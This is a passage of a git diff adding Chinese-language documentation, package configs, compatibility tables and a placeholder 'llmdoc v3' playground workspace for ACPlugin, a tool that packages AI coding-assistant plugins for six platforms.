Canonical Authoring + details: 用 Commands、Skills、Agents 与可选 Extensions 表达作者意图。 + - icon: 🧬 + title: 固定生命周期 + details: Core 统一扫描、兼容性、所有权、事务和稳定报告。 + - icon: 🎯 + title: 六平台交付 + details: 官方 Platform 独立安装,把同一份内容转换成目标平台的原生结构。 + - icon: 🧩 + title: 开放生态 + details: Platform 与 Extension 都从独立 package 安装和导入。 + - icon: 🛡️ + title: 安全事务 + details: owner 隔离、候选校验与全量提交共同保护已有 dist。 + - icon: 📐 + title: 确定性输出 + details: 稳定排序、序列化和报告让相同输入产生可审查的相同字节。 +--- + +## 一个工程,明确的交付边界 + +ACPlugin 把平台中立的作者资源交给显式配置的 Platform,并通过 Extension Adapter 添加横向能力。先从[快速开始](/guide/getting-started)了解工程结构,或直接查看[公开 API](/api/)。 + +
+

🍌 One source, many deliveries

+
+
+ + Canonical Authoring +
+ +
+ + Core Lifecycle +
+ +
+ + Platform Delivery +
+ +
+ + Optional Extensions +
+
+
+ +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-extension-hooks'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex()], + extensions: [hooks()], +}); +``` + +Platform 与 Extension 是独立 package。主包只提供 CLI、配置、生命周期 SDK 和通用契约,因此官方实现与第三方实现遵守同一条边界。 diff --git a/packages/docs/package.json b/packages/docs/package.json new file mode 100644 index 0000000..f8e155c --- /dev/null +++ b/packages/docs/package.json @@ -0,0 +1,24 @@ +{ + "name": "@acplugin/docs", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { + "node": "^22.18.0 || >=24.11.0" + }, + "scripts": { + "api": "typedoc --options typedoc.json", + "predev": "pnpm run api", + "dev": "vitepress dev .", + "prebuild": "pnpm run api", + "build": "vitepress build .", + "preview": "vitepress preview ." + }, + "devDependencies": { + "typedoc": "^0.28.20", + "typedoc-plugin-markdown": "^4.12.0", + "typedoc-vitepress-theme": "^1.1.3", + "typescript": "npm:@typescript/typescript6@^6.0.2", + "vitepress": "^1.6.4" + } +} diff --git a/packages/docs/platforms/antigravity.md b/packages/docs/platforms/antigravity.md new file mode 100644 index 0000000..5ef02fa --- /dev/null +++ b/packages/docs/platforms/antigravity.md @@ -0,0 +1,35 @@ +# Antigravity + +## 安装与配置 + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-antigravity +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [antigravity({ strict: false })], +}); +``` + +## Options + +当前只开放 `strict?: boolean`。官方公开 Manifest 契约尚未确认的字段不会被猜测性写入。 + +## 交付与兼容性 + +Plugin 根使用最小 `plugin.json` 和 `skills/`: + +- Skill 是 native;不能表达 invocation 开关时按字段报告 degraded。 +- Command 转成带固定前缀的显式 Skill;argument hint UI 不可用时 degraded。 +- Agent 转成指导型 Skill,model/capabilities 无法强制,因此 degraded。 + +除 `name` 外,统一元数据会按实际声明报告 omitted 与 warning,而不是写入未经确认的 Manifest 字段。包含 Agent 的工程需要显式审查 strict 策略。 + +[Antigravity package API](/api/@tokenroll/acplugin-platform-antigravity/) diff --git a/packages/docs/platforms/claude-code.md b/packages/docs/platforms/claude-code.md new file mode 100644 index 0000000..72c8620 --- /dev/null +++ b/packages/docs/platforms/claude-code.md @@ -0,0 +1,43 @@ +# Claude Code + +## 安装与配置 + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-claude-code +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode()], +}); +``` + +## Options + +- `strict?: boolean`:覆盖全局兼容性严格度。 +- `defaultEnabled?: boolean`:写入 Claude Code Plugin Manifest。 +- `marketplace?: { name?, owner?, category?, tags? }`:额外生成自包含 Marketplace。省略时只生成 Plugin。 + +```ts +claudeCode({ + marketplace: { + owner: { name: 'Example Team' }, + category: 'Developer Tools', + tags: ['workflow'], + }, +}) +``` + +## 交付与兼容性 + +主 Plugin 包含 `.claude-plugin/plugin.json`、`commands/`、`skills/` 与 `agents/`。Command 的 `{{arguments}}` 转为原生 `$ARGUMENTS`;三类 Component 均为 native。 + +Hooks/MCP 由独立 Extension Adapter 向 Manifest 的受控扩展点写入。Platform 本身不 import Extension package。配置 `marketplace` 时还生成 `.claude-plugin/marketplace.json`,并复用已验证的完整主 Plugin。 + +[Claude Code package API](/api/@tokenroll/acplugin-platform-claude-code/) diff --git a/packages/docs/platforms/codex.md b/packages/docs/platforms/codex.md new file mode 100644 index 0000000..df7eba7 --- /dev/null +++ b/packages/docs/platforms/codex.md @@ -0,0 +1,39 @@ +# Codex + +## 安装与配置 + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-codex +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import codex from '@tokenroll/acplugin-platform-codex'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [codex()], +}); +``` + +## Options + +- `strict?: boolean`:覆盖兼容性严格度。 +- `interface?`:安装界面的描述、开发者、分类、URL、颜色、图标、截图和默认 prompt。 +- `marketplace?`:可选 Marketplace 名称、展示名、分类和 installation policy。 + +所有字段都通过受控 Schema 校验,不接受任意 Manifest 透传。 + +## 交付与兼容性 + +主 Plugin 以 `.codex-plugin/plugin.json` 和 `skills/` 为核心: + +- Canonical Skill 保持 native。 +- Command 转换为 `skills/command-`,参数占位符变成显式调用指导;`argumentHint` 无 UI 时为 degraded。 +- Agent 转换为 `skills/agent-` 的指导型 Skill,model/capabilities 只保留为文本,因此为 degraded。 + +存在 Agent 的工程默认 strict 会失败;只有明确接受这一降级时才使用 `codex({ strict: false })`。可选 Marketplace 写入 `.agents/plugins/marketplace.json`。 + +[Codex package API](/api/@tokenroll/acplugin-platform-codex/) diff --git a/packages/docs/platforms/cursor.md b/packages/docs/platforms/cursor.md new file mode 100644 index 0000000..85f9289 --- /dev/null +++ b/packages/docs/platforms/cursor.md @@ -0,0 +1,35 @@ +# Cursor + +## 安装与配置 + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-cursor +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import cursor from '@tokenroll/acplugin-platform-cursor'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [cursor()], +}); +``` + +## Options + +`CursorPlatformOptions` 支持 `strict`、`publisher`、`logo`、`category`、`tags` 和按客户端 ID 映射的 `minClientVersions`。Logo 只能是安全相对路径或合法远程 URL。 + +## 交付与兼容性 + +Plugin 包含 `.cursor-plugin/plugin.json`、`commands/`、`skills/` 与 `agents/`。三类 Component 都有原生表示,但字段仍逐项报告: + +- Command `argumentHint` 在目标 UI 不可表达时 degraded。 +- Skill 无法关闭显式 user invocation 时 degraded。 +- Agent model 或 capability 无法精确强制时 degraded。 + +Hooks/MCP 的具体事件或 transport 支持由对应 Extension Adapter 报告,Platform 只提供受控 Manifest 扩展点。 + +[Cursor package API](/api/@tokenroll/acplugin-platform-cursor/) diff --git a/packages/docs/platforms/index.md b/packages/docs/platforms/index.md new file mode 100644 index 0000000..0d4e5c6 --- /dev/null +++ b/packages/docs/platforms/index.md @@ -0,0 +1,14 @@ +# 官方平台 + +六个官方 Platform 都是独立 package。工程只安装和实例化需要的目标平台。 + +| Platform | Package | DeliveryUnit | Component 策略 | +| --- | --- | --- | --- | +| [Claude Code](./claude-code.md) | `@tokenroll/acplugin-platform-claude-code` | Plugin / 可选 Marketplace | Command、Skill、Agent 原生 | +| [Codex](./codex.md) | `@tokenroll/acplugin-platform-codex` | Plugin / 可选 Marketplace | Skill 原生,Command 转 Skill,Agent 降级为 Skill | +| [Cursor](./cursor.md) | `@tokenroll/acplugin-platform-cursor` | Plugin | Command、Skill、Agent 原生,部分字段可能降级 | +| [Antigravity](./antigravity.md) | `@tokenroll/acplugin-platform-antigravity` | Plugin | Skill 原生,Command 转 Skill,Agent 降级为 Skill | +| [OpenCode](./opencode.md) | `@tokenroll/acplugin-platform-opencode` | Workspace | 三类资源原生,capability 转 tools/permissions | +| [Pi](./pi.md) | `@tokenroll/acplugin-platform-pi` | npm Package | Command 转 Prompt,Skill 原生,Agent 降级为 Skill | + +工厂的 `strict` 可以覆盖全局兼容性策略。更细粒度的差异见[兼容性矩阵](/resources/compatibility-matrix)。 diff --git a/packages/docs/platforms/opencode.md b/packages/docs/platforms/opencode.md new file mode 100644 index 0000000..3c3e9a4 --- /dev/null +++ b/packages/docs/platforms/opencode.md @@ -0,0 +1,41 @@ +# OpenCode + +## 安装与配置 + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-opencode +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import openCode from '@tokenroll/acplugin-platform-opencode'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [openCode({ workspace: { schema: true } })], +}); +``` + +## Options + +- `strict?: boolean`:覆盖兼容性严格度。 +- `workspace.schema?: boolean`:在按需生成的 `opencode.json` 中写入官方 JSON Schema URL。 + +不开放任意 workspace JSON 透传。 + +## 交付与兼容性 + +OpenCode 产生 workspace DeliveryUnit,而不是安装型 Plugin: + +```text +.opencode/commands/ +.opencode/skills/ +.opencode/agents/ +opencode.json # 有配置或 Extension 内容时生成 +``` + +Command、Skill、Agent 都有原生 workspace 表示。Canonical capabilities 会转换为 OpenCode tools/permission 字段;无法精确固定 model 时按字段报告 degraded。HTTP 与 local stdio MCP 都可由官方 Adapter 加入 workspace 配置。 + +[OpenCode package API](/api/@tokenroll/acplugin-platform-opencode/) diff --git a/packages/docs/platforms/pi.md b/packages/docs/platforms/pi.md new file mode 100644 index 0000000..afa650c --- /dev/null +++ b/packages/docs/platforms/pi.md @@ -0,0 +1,37 @@ +# Pi + +## 安装与配置 + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-pi +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import pi from '@tokenroll/acplugin-platform-pi'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [pi({ package: { image: './assets/cover.png' } })], +}); +``` + +## Options + +- `strict?: boolean`:覆盖兼容性严格度。 +- `package.image?: string`:相对 package 根或远程展示图片。 +- `package.video?: string`:远程演示视频 URL。 + +## 交付与兼容性 + +Pi 产生带 `package.json` 的 npm package DeliveryUnit: + +- Command 转换到 `prompts/.md`;参数提示可进入原生 prompt metadata。 +- Skill 进入 `skills//SKILL.md`,为 native。 +- Agent 转为指导型 `skills/agent-`,model/capabilities 不能强制,因此 degraded。 + +Pi 不支持 MCP transport,官方 MCP Adapter 会报告 unsupported,而不会伪造客户端行为。 + +[Pi package API](/api/@tokenroll/acplugin-platform-pi/) diff --git a/packages/docs/playground/index.md b/packages/docs/playground/index.md new file mode 100644 index 0000000..0d3dde7 --- /dev/null +++ b/packages/docs/playground/index.md @@ -0,0 +1,5 @@ +# Playground + +仓库内 Playground 是以 llmdoc v3 为主题的 ACPlugin packaging/template smoke。 + +[查看 llmdoc v3 模板说明](./llmdoc-v3.md) diff --git a/packages/docs/playground/llmdoc-v3.md b/packages/docs/playground/llmdoc-v3.md new file mode 100644 index 0000000..1034c05 --- /dev/null +++ b/packages/docs/playground/llmdoc-v3.md @@ -0,0 +1,43 @@ +# llmdoc v3 模板 + +`packages/playground` 是仓库内真实 ACPlugin consumer,以 llmdoc v3 的作者资源形态覆盖 Commands、Skill auxiliary、Agents、Hooks 与 Public 文件。 + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-extension-hooks'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; + +export default defineConfig({ + name: 'llmdoc-v3-playground', + version: '0.1.0', + description: 'llmdoc v3 authoring template for ACPlugin integration exercises.', + platforms: [claudeCode(), codex()], + extensions: [hooks()], + build: { strict: false }, +}); +``` + +## 模板内容 + +- `init`、`update`、`prune`、`upgrade` Commands。 +- `llmdoc` Skill 与 Frontier、transaction、reflection promotion、compact continuation references。 +- investigator、reflector、recorder Agents。 +- SessionStart、PreCompact、Stop 三个 no-op Hooks。 +- runtime/schema/upgrade 边界说明和四个知识模板。 + +## 已知差异与非目标 + +Playground 不实现 Frontier 状态、fingerprint、knowledge graph、delta、transaction、rollback、`meta.json`、可执行 Schema、Migration runtime、MCP、增量更新或缓存。 + +Codex Command 当前生成 `command-*` Skill,不等同于 llmdoc v3 的 `llmdoc-*` 目标命名。Codex Agent 降级为 `agent-*` guidance Skill,不是 `runtime/agents` scoped subagent。`upgrade` 只有显式入口,不能证明完整迁移正文物理惰性加载。 + +三个 Hook 都返回 `void`,不会读写知识库。`public/schemas` 只有边界说明,不构成 Schema。因此它是 packaging/template smoke,不是 llmdoc v3 产品实现或 conformance suite。 + +## 运行 + +```bash +pnpm playground:check +``` + +配置使用 `strict: false` 是为了允许已知 Codex Agent degradation 及其向依赖 Command 的传播;结构、安全、owner、来源和事务错误仍必须失败。仓库 verifier 会拒绝白名单之外的新诊断或任何 unsupported 结果。 diff --git a/packages/docs/public/acplugin-logo-dark.svg b/packages/docs/public/acplugin-logo-dark.svg new file mode 100644 index 0000000..3bde5ee --- /dev/null +++ b/packages/docs/public/acplugin-logo-dark.svg @@ -0,0 +1,11 @@ + + ACPlugin + ACPlugin wordmark with a banana-shaped letter C. + + A + + + + Plugin + + diff --git a/packages/docs/public/acplugin-logo.svg b/packages/docs/public/acplugin-logo.svg new file mode 100644 index 0000000..9b59b38 --- /dev/null +++ b/packages/docs/public/acplugin-logo.svg @@ -0,0 +1,11 @@ + + ACPlugin + ACPlugin wordmark with a banana-shaped letter C. + + A + + + + Plugin + + diff --git a/packages/docs/public/acplugin-mark.svg b/packages/docs/public/acplugin-mark.svg new file mode 100644 index 0000000..046ef10 --- /dev/null +++ b/packages/docs/public/acplugin-mark.svg @@ -0,0 +1,17 @@ + + ACPlugin banana C + A banana-shaped letter C on a dark rounded square. + + + + + + + + + + + + + + diff --git a/packages/docs/resources/compatibility-matrix.md b/packages/docs/resources/compatibility-matrix.md new file mode 100644 index 0000000..dff949b --- /dev/null +++ b/packages/docs/resources/compatibility-matrix.md @@ -0,0 +1,34 @@ +# 兼容性矩阵 + +## Canonical Components + +| Platform | Command | Skill | Agent | +| --- | --- | --- | --- | +| Claude Code | Native | Native | Native | +| Codex | Transform → `command-*` Skill | Native | Degraded → `agent-*` guidance Skill | +| Cursor | Native | Native | Native | +| Antigravity | Transform → explicit Skill | Native | Degraded → guidance Skill | +| OpenCode | Native workspace Command | Native workspace Skill | Native workspace Agent;capability 为 transform | +| Pi | Transform → Prompt Template | Native | Degraded → guidance Skill | + +表格只描述 Component 主能力。`argumentHint`、invocation、model、capabilities 等字段仍可能产生独立 degraded/transform 记录。 + +## MCP transports + +| Transport | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| Remote HTTP | Native | Native | Native | Native | Native | Unsupported | +| Local stdio | Native | Native | Unsupported | Unsupported | Native | Unsupported | + +## Portable Hook events + +| Platform | Native | Transform/Degraded | Unsupported | +| --- | --- | --- | --- | +| Claude Code | 11 个 portable events | 部分事件 matcher degraded | — | +| Codex | 11 个 portable events | 部分事件 matcher degraded | — | +| Cursor | — | 9 events transformed;部分 matcher/status degraded | `PermissionRequest`、`PostCompact` | +| Antigravity | `SessionStart`、`SessionEnd`、`PreToolUse`、`PostToolUse`、`PreCompact` | 部分字段 degraded | 其余 6 events | +| OpenCode | `SessionStart`、`UserPromptSubmit`、`PreToolUse`、`PostToolUse`、`PostCompact` | `SessionEnd`、`Stop` degraded | 其余 4 events | +| Pi | `SessionStart`、`SessionEnd`、`UserPromptSubmit`、`PreToolUse`、`PostToolUse`、`PreCompact`、`PostCompact` | `Stop` degraded | `PermissionRequest`、两个 Subagent events | + +最终以 build report 为准。Platform/Extension 升级后,文档矩阵和实现测试必须一起更新。 diff --git a/packages/docs/resources/deterministic-builds.md b/packages/docs/resources/deterministic-builds.md new file mode 100644 index 0000000..b071127 --- /dev/null +++ b/packages/docs/resources/deterministic-builds.md @@ -0,0 +1,20 @@ +# 确定性构建 + +在相同工程字节、配置、ACPlugin/Platform/Extension 版本、Node major 和 lockfile 下,生成内容与稳定报告应保持字节一致。 + +## 作者责任 + +- 不在 config、Platform 或 Extension build 中读取未声明的机器环境来改变产物。 +- 不写时间戳、随机 ID、临时绝对路径或宿主目录。 +- 使用主包的 `stableJson()`、`stableYaml()` 和稳定报告序列化器。 +- 对文件和对象键采用明确稳定顺序。 +- Secret 只保留 `{ env }` 引用,不读取值。 + +## 框架保证 + +- Scanner 和 Registry 对目录、资源和报告使用稳定排序。 +- Artifact 记录固定 owner、mode、size 与 SHA-256。 +- 报告不包含 Artifact bytes、时间、绝对路径、凭据或环境值。 +- TypeDoc/VitePress 文档 build 关闭 last-updated,不在线 fetch 内容。 + +确定性不是跨任意 Node/依赖版本的承诺。升级 Node major、lockfile 或生成器版本后,应把变化作为正常版本化 diff 审查。 diff --git a/packages/docs/resources/index.md b/packages/docs/resources/index.md new file mode 100644 index 0000000..65f36f7 --- /dev/null +++ b/packages/docs/resources/index.md @@ -0,0 +1,8 @@ +# 参考资源 + +这里汇总构建与生态边界中需要快速查阅的横向信息: + +- [兼容性矩阵](./compatibility-matrix.md) +- [确定性构建](./deterministic-builds.md) +- [安全模型](./security-model.md) +- [Package map](./package-map.md) diff --git a/packages/docs/resources/package-map.md b/packages/docs/resources/package-map.md new file mode 100644 index 0000000..fd2f0b3 --- /dev/null +++ b/packages/docs/resources/package-map.md @@ -0,0 +1,29 @@ +# Package map + +## Framework + +| Package | 可见性 | 责任 | +| --- | --- | --- | +| `@tokenroll/acplugin` | Public | CLI、配置加载、公开 lifecycle SDK、程序化 API、隔离 Migration | +| `@acplugin/core` | Private | Scanner、lifecycle、诊断、Artifact、Document、DeliveryUnit、transaction | + +## Official Platforms + +`@tokenroll/acplugin-platform-claude-code`、`-codex`、`-cursor`、`-antigravity`、`-opencode`、`-pi` 都是公开独立 package,并以主包为 peer。主包不提供官方集成 subpath 或重导出。 + +## Official Extensions + +- `@tokenroll/acplugin-extension-hooks` +- `@tokenroll/acplugin-extension-mcp` + +Extension package 同时拥有作者格式、build state 和面向六个平台的官方 Adapter;Platform 不反向依赖 Extension。 + +## Repository-only consumers + +| Workspace | 责任 | +| --- | --- | +| `@acplugin/test` | 跨包 Vitest、tarball 和架构验证 | +| `@acplugin/docs` | VitePress 与九个公开入口的 TypeDoc 生成 | +| `@acplugin/playground` | llmdoc v3 主题 packaging/template smoke | + +Docs 与 Playground 都是私有消费者,不进入 Changesets 或 release tarball。 diff --git a/packages/docs/resources/security-model.md b/packages/docs/resources/security-model.md new file mode 100644 index 0000000..4265a0a --- /dev/null +++ b/packages/docs/resources/security-model.md @@ -0,0 +1,23 @@ +# 安全模型 + +ACPlugin 把外部作者输入视为不可信数据,直到对应阶段完成结构、来源和最终候选验证。 + +## 路径与来源 + +- 配置路径必须在工程根内,输出不能与源码/Public 重叠。 +- Component、Skill auxiliary、Public、Platform workDir、Extension workDir 各有独立来源授权。 +- 拒绝绝对路径、NUL、`..`、符号链接、特殊文件和规范化冲突。 +- `dist` 只由 transaction 层整体提交。 + +## 扩展协议 + +- Document patch 是 owner-aware add-only;没有覆盖优先级。 +- Hook 作者只返回语义结果,wire 拥有目标协议;runner 有输入输出上限和稳定错误码。 +- HTTP MCP Secret 使用环境引用,构建不读取值。 +- Local stdio MCP 必须 bundle 并通过真实协议 smoke。 + +## 报告与错误 + +`buildEnd` 只收到脱敏异常摘要。稳定报告不会输出凭据、环境值、Artifact bytes、机器路径或临时路径。第三方 bundle 需要生成确定性许可材料。 + +Relaxed compatibility 不会绕过这些安全检查。 diff --git a/packages/docs/tsconfig.json b/packages/docs/tsconfig.json new file mode 100644 index 0000000..a970cd9 --- /dev/null +++ b/packages/docs/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": [".vitepress/**/*.ts", ".vitepress/**/*.mts"] +} diff --git a/packages/docs/typedoc.json b/packages/docs/typedoc.json new file mode 100644 index 0000000..addd3f5 --- /dev/null +++ b/packages/docs/typedoc.json @@ -0,0 +1,43 @@ +{ + "$schema": "https://typedoc.org/schema.json", + "entryPoints": [ + "../acplugin", + "../platforms/claude-code", + "../platforms/codex", + "../platforms/cursor", + "../platforms/antigravity", + "../platforms/opencode", + "../platforms/pi", + "../extensions/hooks", + "../extensions/mcp" + ], + "entryPointStrategy": "packages", + "packageOptions": { + "entryPoints": ["src/index.ts"], + "excludePrivate": true, + "excludeProtected": true, + "excludeInternal": true, + "excludeExternals": false, + "validation": { + "notExported": false, + "invalidLink": true, + "notDocumented": false + } + }, + "plugin": [ + "typedoc-plugin-markdown", + "typedoc-vitepress-theme" + ], + "theme": "markdown", + "out": "api", + "docsRoot": ".", + "readme": "none", + "cleanOutputDir": true, + "hideGenerator": true, + "githubPages": false, + "treatWarningsAsErrors": true, + "sidebar": { + "pretty": true, + "collapsed": true + } +} diff --git a/packages/extensions/hooks/README.md b/packages/extensions/hooks/README.md index 2860e59..5457b4a 100644 --- a/packages/extensions/hooks/README.md +++ b/packages/extensions/hooks/README.md @@ -63,7 +63,7 @@ export default defineHook({ }); ``` -acplugin bundles each implementation once as a platform-neutral Node 20 ESM `hooks//handler.mjs`. Each Adapter emits an adjacent `wire.mjs` that owns its native stdin schema, camelCase conversion, runtime root/data environment mapping, and stdout mapping. The shared Handler validates event-specific results, keeps stdin/stdout within 1 MiB, and emits only stable error codes. Third-party code included in a Handler receives a deterministic `THIRD_PARTY_LICENSES.txt`. +ACPlugin bundles each implementation once as a platform-neutral Node 20 ESM `hooks//handler.mjs`. Each Adapter emits an adjacent `wire.mjs` that owns its native stdin schema, camelCase conversion, runtime root/data environment mapping, and stdout mapping. The shared Handler validates event-specific results, keeps stdin/stdout within 1 MiB, and emits only stable error codes. Third-party code included in a Handler receives a deterministic `THIRD_PARTY_LICENSES.txt`. `作者不能声明原始 shell、绝对 executable、HTTP、prompt、agent 或 MCP-tool Handler;平台 wire 协议完全由 Adapter 管理。` diff --git a/packages/extensions/mcp/README.md b/packages/extensions/mcp/README.md index 62066f4..e5adb57 100644 --- a/packages/extensions/mcp/README.md +++ b/packages/extensions/mcp/README.md @@ -4,7 +4,7 @@ Optional MCP declarations, local builds, and Platform adapters for `@tokenroll/a Requires Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`. -`可选的 MCP 远程声明、本地构建能力,以及面向各 acplugin Platform 的适配实现。` +`可选的 MCP 远程声明、本地构建能力,以及面向各 ACPlugin Platform 的适配实现。` ```bash pnpm add -D @tokenroll/acplugin \ diff --git a/packages/playground/README.md b/packages/playground/README.md new file mode 100644 index 0000000..9d9f11c --- /dev/null +++ b/packages/playground/README.md @@ -0,0 +1,27 @@ +# @acplugin/playground + +这是以 llmdoc v3 为主题的 ACPlugin packaging/template smoke。它用真实公开 package、Canonical Scanner、Hooks bundler、Platform Adapter、DeliveryUnit validator 和托管事务构建 Claude Code/Codex 产物。 + +```bash +pnpm --filter @acplugin/playground typecheck +pnpm --filter @acplugin/playground validate +pnpm --filter @acplugin/playground build +``` + +在干净 checkout 中请从仓库根运行 `pnpm playground:check`,它会先构建 CLI 与公开 packages。 + +## 包含的模板 + +- `init`、`update`、`prune`、`upgrade` 四个 Command。 +- `llmdoc` Skill 和四个 references auxiliary files。 +- `investigator`、`reflector`、`recorder` 三个 Agent。 +- `SessionStart`、`PreCompact`、`Stop` 三个可 bundle no-op Hook。 +- runtime/schema/upgrade 边界说明和四个 Public Markdown 模板。 + +## 明确非目标 + +此工程不实现 Frontier 状态、fingerprint、knowledge graph、delta、transaction、rollback、`meta.json`、可执行 Schema、Migration runtime、MCP、增量更新或缓存。三个 Hook 返回 `void`,不会读写知识库。 + +Codex 会把 Command 生成 `command-*` Skill,把 Agent 降级成 `agent-*` guidance Skill;这不等同于 llmdoc v3 目标中的 `llmdoc-*` 命名或 scoped `runtime/agents`。因此配置使用 `strict: false`,并要求构建报告只出现这些已知 Agent 降级及其向依赖 Command 的传播。 + +`upgrade` 是显式 Command 骨架,但不能证明完整迁移正文被物理惰性加载。本 workspace 不是 llmdoc v3 产品实现或 conformance suite。 diff --git a/packages/playground/acplugin.config.ts b/packages/playground/acplugin.config.ts new file mode 100644 index 0000000..6737c31 --- /dev/null +++ b/packages/playground/acplugin.config.ts @@ -0,0 +1,15 @@ +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-extension-hooks'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; + +/** llmdoc v3 主题模板的真实 acplugin 构建配置。 */ +export default defineConfig({ + name: 'llmdoc-v3-playground', + version: '0.1.0', + description: 'llmdoc v3 authoring template for acplugin integration exercises.', + displayName: 'llmdoc v3 Playground', + platforms: [claudeCode(), codex()], + extensions: [hooks()], + build: { strict: false }, +}); diff --git a/packages/playground/package.json b/packages/playground/package.json new file mode 100644 index 0000000..2e77429 --- /dev/null +++ b/packages/playground/package.json @@ -0,0 +1,22 @@ +{ + "name": "@acplugin/playground", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=23.5.0" + }, + "scripts": { + "typecheck": "tsc -p tsconfig.json", + "validate": "acplugin validate", + "build": "acplugin build" + }, + "devDependencies": { + "@tokenroll/acplugin": "workspace:^", + "@tokenroll/acplugin-extension-hooks": "workspace:^", + "@tokenroll/acplugin-platform-claude-code": "workspace:^", + "@tokenroll/acplugin-platform-codex": "workspace:^", + "@types/node": "catalog:", + "@typescript/native": "catalog:" + } +} diff --git a/packages/playground/public/resources/templates/document.md b/packages/playground/public/resources/templates/document.md new file mode 100644 index 0000000..4694bfb --- /dev/null +++ b/packages/playground/public/resources/templates/document.md @@ -0,0 +1,13 @@ +# Knowledge document template + +## Statement + +写出一个范围明确、可验证的稳定结论。 + +## Evidence + +列出支持结论的源码位置或权威来源。 + +## Applicability + +注明适用版本、前提和失效条件。 diff --git a/packages/playground/public/resources/templates/domain.md b/packages/playground/public/resources/templates/domain.md new file mode 100644 index 0000000..135b959 --- /dev/null +++ b/packages/playground/public/resources/templates/domain.md @@ -0,0 +1,13 @@ +# Domain template + +## Scope + +描述此 Domain 覆盖的代码、责任和明确排除项。 + +## Sources + +列出可复核源码入口和权威文档。 + +## Invariants + +记录必须持续成立的架构或行为约束。 diff --git a/packages/playground/public/resources/templates/investigation.md b/packages/playground/public/resources/templates/investigation.md new file mode 100644 index 0000000..ac490c6 --- /dev/null +++ b/packages/playground/public/resources/templates/investigation.md @@ -0,0 +1,13 @@ +# Investigation template + +## Question + +记录要回答的问题和调查边界。 + +## Evidence + +逐项区分直接事实与推断。 + +## Open issues + +列出仍需用户选择或外部事实才能解决的项目。 diff --git a/packages/playground/public/resources/templates/reflection-case.md b/packages/playground/public/resources/templates/reflection-case.md new file mode 100644 index 0000000..0a1c5d9 --- /dev/null +++ b/packages/playground/public/resources/templates/reflection-case.md @@ -0,0 +1,13 @@ +# Reflection case template + +## Candidate lesson + +描述可能值得提升的经验。 + +## Counterexamples + +检查该经验在哪些场景不成立。 + +## Promotion decision + +记录提升、修订、暂缓或拒绝及其证据。 diff --git a/packages/playground/public/runtime/README.md b/packages/playground/public/runtime/README.md new file mode 100644 index 0000000..caf2aed --- /dev/null +++ b/packages/playground/public/runtime/README.md @@ -0,0 +1,3 @@ +# Runtime placeholder + +完整 llmdoc v3 runtime 应拥有 Frontier、fingerprint、graph、delta、恢复和知识事务。此目录只验证 Public 文件交付,不包含可执行 runtime。 diff --git a/packages/playground/public/schemas/README.md b/packages/playground/public/schemas/README.md new file mode 100644 index 0000000..d587849 --- /dev/null +++ b/packages/playground/public/schemas/README.md @@ -0,0 +1,3 @@ +# Schema placeholder + +完整产品应提供严格、版本化并带迁移策略的 Schema。本模板故意不提供“接受任意对象”的占位 Schema,避免把结构 smoke 误认为数据校验。 diff --git a/packages/playground/public/upgrade/README.md b/packages/playground/public/upgrade/README.md new file mode 100644 index 0000000..ec1657a --- /dev/null +++ b/packages/playground/public/upgrade/README.md @@ -0,0 +1,3 @@ +# Upgrade placeholder + +完整 upgrade 流程应显式选择目标版本、验证备份、按版本加载迁移正文并在提交前检查全部候选。本模板只有 Command 与内容边界。 diff --git a/packages/playground/src/agents/investigator.md b/packages/playground/src/agents/investigator.md new file mode 100644 index 0000000..90846a1 --- /dev/null +++ b/packages/playground/src/agents/investigator.md @@ -0,0 +1,9 @@ +--- +description: 调查源码与现有知识并形成可复核证据清单 +model: capable +capabilities: + - filesystem:read + - search +--- + +读取指定范围内的源码和知识文件,逐条记录证据位置、事实、推断和未解决问题。不要修改文件;证据不足时明确停止并请求补充范围。 diff --git a/packages/playground/src/agents/recorder.md b/packages/playground/src/agents/recorder.md new file mode 100644 index 0000000..4b6819c --- /dev/null +++ b/packages/playground/src/agents/recorder.md @@ -0,0 +1,9 @@ +--- +description: 把已确认结论整理成待提交的稳定知识草案 +model: inherit +capabilities: + - 